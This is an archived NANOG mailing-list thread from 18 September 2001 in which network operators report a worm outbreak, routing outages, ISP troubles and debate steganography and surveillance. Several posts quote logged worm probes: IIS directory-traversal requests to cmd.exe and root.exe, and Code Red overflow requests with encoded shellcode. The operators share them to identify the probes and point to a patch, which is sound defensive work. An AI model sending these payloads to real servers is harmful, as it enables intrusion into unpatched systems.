September 2001 - Test - lists.nanog.org

RE: Worm probes
by Roeland Meyer 18 Sep '01

18 Sep '01

2 1

Worm impact - September 18 2001
by Sean Donelan 18 Sep '01

18 Sep '01

I first noticed the worm this morning at the same time the national moment of silence was being broadcast. My web e-mail provider was knocked off the air at that time. I'm using an alternate account. Approximately 1,000 networks of 104,200 vanished from the routing table as seen by Telstra in the past two hours Keynote Internetpulse.com was showning "red" congestion between C&W and Qwest, which has since cleared. InternetTrafficReport.com stopped reporting data. All zeros across the board. Matrix.net Internet Weather Report shows a 3 percent drop in reachability of tested servers.

1 0

RE: Our Qwest Testimonial: qwestoutage.com
by Smith, Rick 18 Sep '01

18 Sep '01

Dsl.net was up all night, down again this morning. Blah. Their idea of redundant links must have been 1 fiber into Tower 1 and another into Tower 2. They'll never BOTH go away, Right? -----Original Message----- From: wgray(a)wwns.net [mailto:wgray@wwns.net] Sent: Tuesday, September 18, 2001 12:01 PM To: nanog(a)merit.edu Subject: RE: Our Qwest Testimonial: qwestoutage.com You should should call the website OUTAGE and include DSL.Net also. -----Original Message----- From: owner-nanog(a)merit.edu [mailto:owner-nanog@merit.edu]On Behalf Of Allen Gwinn Sent: Tuesday, September 18, 2001 10:42 AM To: nanog(a)merit.edu Subject: Our Qwest Testimonial: qwestoutage.com Greetings, Simply put, they've put us through hell, so I've put a website up to tell our story at qwestoutage.com. I'd be interested in feedback--especially anyone that has had similar or different experiences than we've had. I've heard from another customer (DS-3 customer) who has had fairly good experience. His comment was, "the hardest thing to do is to get their attention--but once you do that, they're fairly responsive." I heard from one more that is decommissioning their Qwest circuits nationwide and moving back to UUNET. Thanks, Allen

2 1

Re: What Worked - What Didn't
by Martin Cooper 18 Sep '01

18 Sep '01

Alex Bligh <alex(a)alex.org.uk> writes: > --On Monday, 17 September, 2001 2:32 PM -0400 "Patrick W. Gilmore" > <patrick(a)ianai.net> wrote: > > > Maybe I missed something? > > Only all the well documented attacks (including DoS). > Think about sending RST to BGP port (and other random > ports) on your routers. I thought TCP stacks were supposed to do sequence number checking on RST's to make sure they fell within the bounds of the unacknowledged portion of the current window? Or is Cisco's implementation broken? M.

3 3

An argument for multi-homing
by Roeland Meyer 18 Sep '01

18 Sep '01

1 0

FW: Re: Worm probes
by Roeland Meyer 18 Sep '01

18 Sep '01

|> -----Original Message----- |> From: Jaco Engelbrecht [mailto:bje@serendipity.org.za] |> Sent: Tuesday, September 18, 2001 9:01 AM |> To: Roeland Meyer |> Subject: Re: Worm probes |> |> |> Hi, |> |> Sorry for emailling you directly, but I can't post to the nanog list. |> It's `Code Blue` that's going around atm. |> |> Will bounce you a seperate message now. |> |> Regards, |> Jaco |> |> -----Original Message----- Received: from serendipity.org.za ([196.14.22.14]) by condor.mhsc.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id SBLN3KQ6; Tue, 18 Sep 2001 09:02:18 -0700 Received: from nobody by serendipity.org.za with scanned_ok (Exim 3.22 #6) id 15jNJQ-0003O1-00 for rmeyer(a)mhsc.com; Tue, 18 Sep 2001 18:01:28 +0200 Received: from etna.serendipity.org.za ([196.14.22.132] helo=etna) by serendipity.org.za with smtp (Exim 3.22 #6) id 15jNJP-0003Ns-00 for rmeyer(a)mhsc.com; Tue, 18 Sep 2001 18:01:27 +0200 Message-ID: <03e301c1405b$b728cab0$84160ec4(a)serendipity.org.za> From: "Jaco Engelbrecht" <bje(a)serendipity.org.za> To: "Roeland Meyer" <rmeyer(a)mhsc.com> Subject: Fw: [hamster(a)vom.tm: Re: New worm going 'round?] (fwd) Date: Tue, 18 Sep 2001 18:05:18 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Checked: This message has been scanned for any virusses and unauthorized attachments. X-iScan: Version $Id: iScan,v 1.35 2001/03/04 20:15:54 rip Exp $ |> From: Jaco Engelbrecht [mailto:bje@serendipity.org.za] |> Sent: Tuesday, September 18, 2001 9:05 AM |> To: Roeland Meyer |> Subject: Fw: [hamster(a)vom.tm: Re: New worm going 'round?] (fwd) |> Importance: High |> |> |> Hi Roland, |> |> `Code Blue` - see http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fsection%3Dex ploit%26vid%3D1806 |> |> And for the the solution: |> "The patch released with the advisory MS00-057 |> (http://www.microsoft.com/technet/security/bulletin/ms00-057.asp) |> eliminates this vulnerability, therefore those who have already |> applied this patch do not have to take any further action. Otherwise, |> the patch is available |> at the following locations: |> |> IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp |> IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp" |> |> Regards, |> Jaco |> |> -- |> bje(a)serendipity.org.za |> the faculty of making fortunate discoveries |> |> ----- Forwarded message from The Flying Hamster |> <hamster(a)vom.tm> ----- |> |> Date: Tue, 18 Sep 2001 15:36:20 +0100 |> From: The Flying Hamster <hamster(a)vom.tm> |> To: list(a)inet-access.net |> Subject: Re: New worm going 'round? |> Reply-To: list(a)inet-access.net |> |> On Tue, Sep 18, 2001 at 10:31:59AM -0400, Gerald T. Freymann wrote: |> > If I tail -f httpd-error.log these errors are going by |> faster than I |> can |> > read! omg! |> |> Same here, the signature requests appear to be |> |> GET /MSADC/root.exe?/c+dir HTTP/1.0 |> GET |> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir |> HTTP/1.0 |> GET /_vti_bin/..%255c../..%25 |> GET |> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir |> HTTP/1.0 |> GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET |> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c |> 1%1c../wi |> nnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 |> GET /scripts/root.exe?/c+dir HTTP/1.0 |> |> It looks like each of these are tried against each IP being probed. |> |> -- |> The Flying Hamster <hamster(a)suespammers.org> |> http://hamster.wibble.org/ |> "Unarmed...and extremely attractive." -- Dana Scully on Windows 95 |> - |> Recent archives of the list can be found at: |> http://mix.twistedpair.ca/pipermail/inet-access/ |> Send 'unsubscribe' in the body to 'list-request(a)inet-access.net' to |> leave. |> Eat sushi frequently. inet(a)inet-access.net is the human contact |> address. |> |> ----- End forwarded message ----- |> |> |> |>

1 0

RE: Worm probes
by Los, Ralph 18 Sep '01

18 Sep '01

Yes! Although I've got different things on my radar than the other backtick posts +cmd+root.exe, etc, etc, etc...I've got this still, which looks like Code Red....yes, still. Regards, 2001-09-18 05:08:50 Offender.ip.addr - W3SVC10 websrv My.web.srvr 10031 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 400 121 0 1460 924485 HTTP/1.0 - - - - 2001-09-18 09:57:29 Offender.ip.addr - W3SVC10 websrv My.web.srvr 10031 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 400 121 0 1460 915547 HTTP/1.0 - - - - 2001-09-18 10:50:31 Offender.ip.addr - W3SVC10 websrv My.web.srvr 10031 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u 9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 400 121 0 1460 922516 HTTP/1.0 - - - - Ralph M. Los Asst. Vice-President, Internet Systems and Security EnvestnetPMC rlos(a)envestnet.com (312) 827-3945 (direct) (312) 296-9003 (wireless w/voicemail) * If you haven't been hacked, you don't know where your vulnerabilities lie* -----Original Message----- From: sigma(a)pair.com [mailto:sigma@pair.com] Sent: Tuesday, September 18, 2001 8:55 AM To: nanog(a)merit.edu Subject: Worm probes Has anyone else been seeing a dramatic increase in /scripts/.. NT worm probes this morning? We're seeing about 8000/second, starting around 9:15 Eastern time, to and from a wide variety of addresses. Is CodeRed or one of its relatives scheduled to start sweeping again today? We've never seen this level of traffic related to the NT worms. Even though we don't run any NT at all, we still have to suffer :( Kevin

1 0

RE: Worm probes
by Don Lundquist 18 Sep '01

18 Sep '01

Same here.... a lot of activity..... seems to be a pattern closely resembling Code Red.... - - [18/Sep/2001:09:28:57 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:57 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:57 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:58 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-" - - [18/Sep/2001:09:28:58 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-" - - [18/Sep/2001:09:28:59 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-" - - [18/Sep/2001:09:28:59 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" - - [18/Sep/2001:09:28:59 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-" Don -----Original Message----- From: sigma(a)pair.com [mailto:sigma@pair.com] Sent: Tuesday, September 18, 2001 9:55 AM To: nanog(a)merit.edu Subject: Worm probes Has anyone else been seeing a dramatic increase in /scripts/.. NT worm probes this morning? We're seeing about 8000/second, starting around 9:15 Eastern time, to and from a wide variety of addresses. Is CodeRed or one of its relatives scheduled to start sweeping again today? We've never seen this level of traffic related to the NT worms. Even though we don't run any NT at all, we still have to suffer :( Kevin

1 0

Re: Just Carnivore (was: Yahoogroups and Carnivore)
by Marshall Eubanks 18 Sep '01

18 Sep '01

> >On Mon, 17 Sep 2001 18:01:53 PDT, Roeland Meyer <rmeyer(a)mhsc.com> said: >> However, given mil-grade VPNs these days, there is no way they can read what >> you sent. They can only tell that you sent something. However, I just >> discovered the Steganography stuff in my SuSE Linux distribution, hmmmmm. >> But, they still know where it came from and where it went. > >As Bruce Schneier said, the problem with steganography is that you need >a good cover story for why you're mailing JPG's of giraffes back and forth... > > Dear Vladis; You need to to separate the forward and the inverse problems here. Inverse problem : Can you find a few message bytes in gigabytes of files going back and forth between everyone on the web, or even on an ISP, in order to find a target ? Probably not; at least its tough. Forward problem : GIVEN A TARGET, can you look at all of their traffic over and over until you find their message bytes buried in their traffic ? Much higher probability. And, say, porn to Pakistan will appear in a new light. I would submit that Carnivore from what I have seen deals with the easier forward problem. Marshall Eubanks tme(a)21rst-century.com

1 0

RE: Just Carnivore (was: Yahoogroups and Carnivore)
by Roeland Meyer 18 Sep '01

18 Sep '01

|> From: Valdis.Kletnieks(a)vt.edu [mailto:Valdis.Kletnieks@vt.edu] |> Sent: Monday, September 17, 2001 11:27 PM |> |> On Mon, 17 Sep 2001 22:36:53 PDT, Roeland Meyer said: |> > So, Bruce Schneier, when posing that problem, must have |> had his imagination |> > disengaged. There is more than adequate cover story for |> passing huge JPGs |> > around. |> |> No, he actually had his brain engaged. His point was that |> if you're trying |> to use steganography to move data around under the nose of a |> government that's |> actively trying to catch you at something, you can't just |> start sending |> files around, because that would set off traffic pattern |> analysis warnings. |> |> http://www.counterpane.com/crypto-gram-9810.html#steganograph |> y for the whole story. Yes, and neither of you have yet been to www.ofoto.com have you? One of my clients is yet another photo sharing site. In two years, customer photos took up over 3 TeraBytes worth of RAID space. Snapshots are 1) original content, 2) very large, 3) numerous as hell, 4) not porn, and 5) there are LOTS of innocent people doing it. Also, when folks upload photos, they don't do just one. They do half a roll, or more, so you don't have to embed a message in every one of them. In addition, one could encrypt the message prior to embedding it. Since it is original content there is no other picture to compare it to, in order to detect alteration. No one else has access to the original, but you. You can further, destroy all non-steg enhanced originals. For a news site that publishes original content, the arguments are the same. What are you going to compare the photos to? It's the original that's been "doctored". If you have support of the local government, there are no "Secret Police" issues, and your "photos" get sent to every web-browser that takes a peek. If you don't keep visit logs then no one knows who has seen the pretty pictures and decoded their content. After having read the article (thanks), I think that Bruce was being improperly dismissive. He applied special case arguments (a specific context) to the general case. The cutter had a dull knife that day ... it happens. The true operational model is quite different from the one that Bruce envisioned in his argument. This is a more complete reason why I suggested that we all start observing the proscription lists, from US State. A site like www.lybia.com or www.taliban.com, operated with such intention, and hosted in a US colo facility, and fed through an SSH tunnel, can otherwise operate with impunity. We would never even know otherwise. We have no such "Secret Police" and I'd really rather not have them. KGB was sufficient trouble in the USSR. We don't need FBI thinking/acting like them. CALEA is bad enough, thank you. Understandibly, I have personal reasons for wanting to see that photo sharing sites remain unmolested and none of the ones, I have mentioned here, are on my client list. Yes, there are counter-measure that those sites could take. They aren't taking them right now. Equally, there are ways around those counter-measures. 'nuff said.

1 0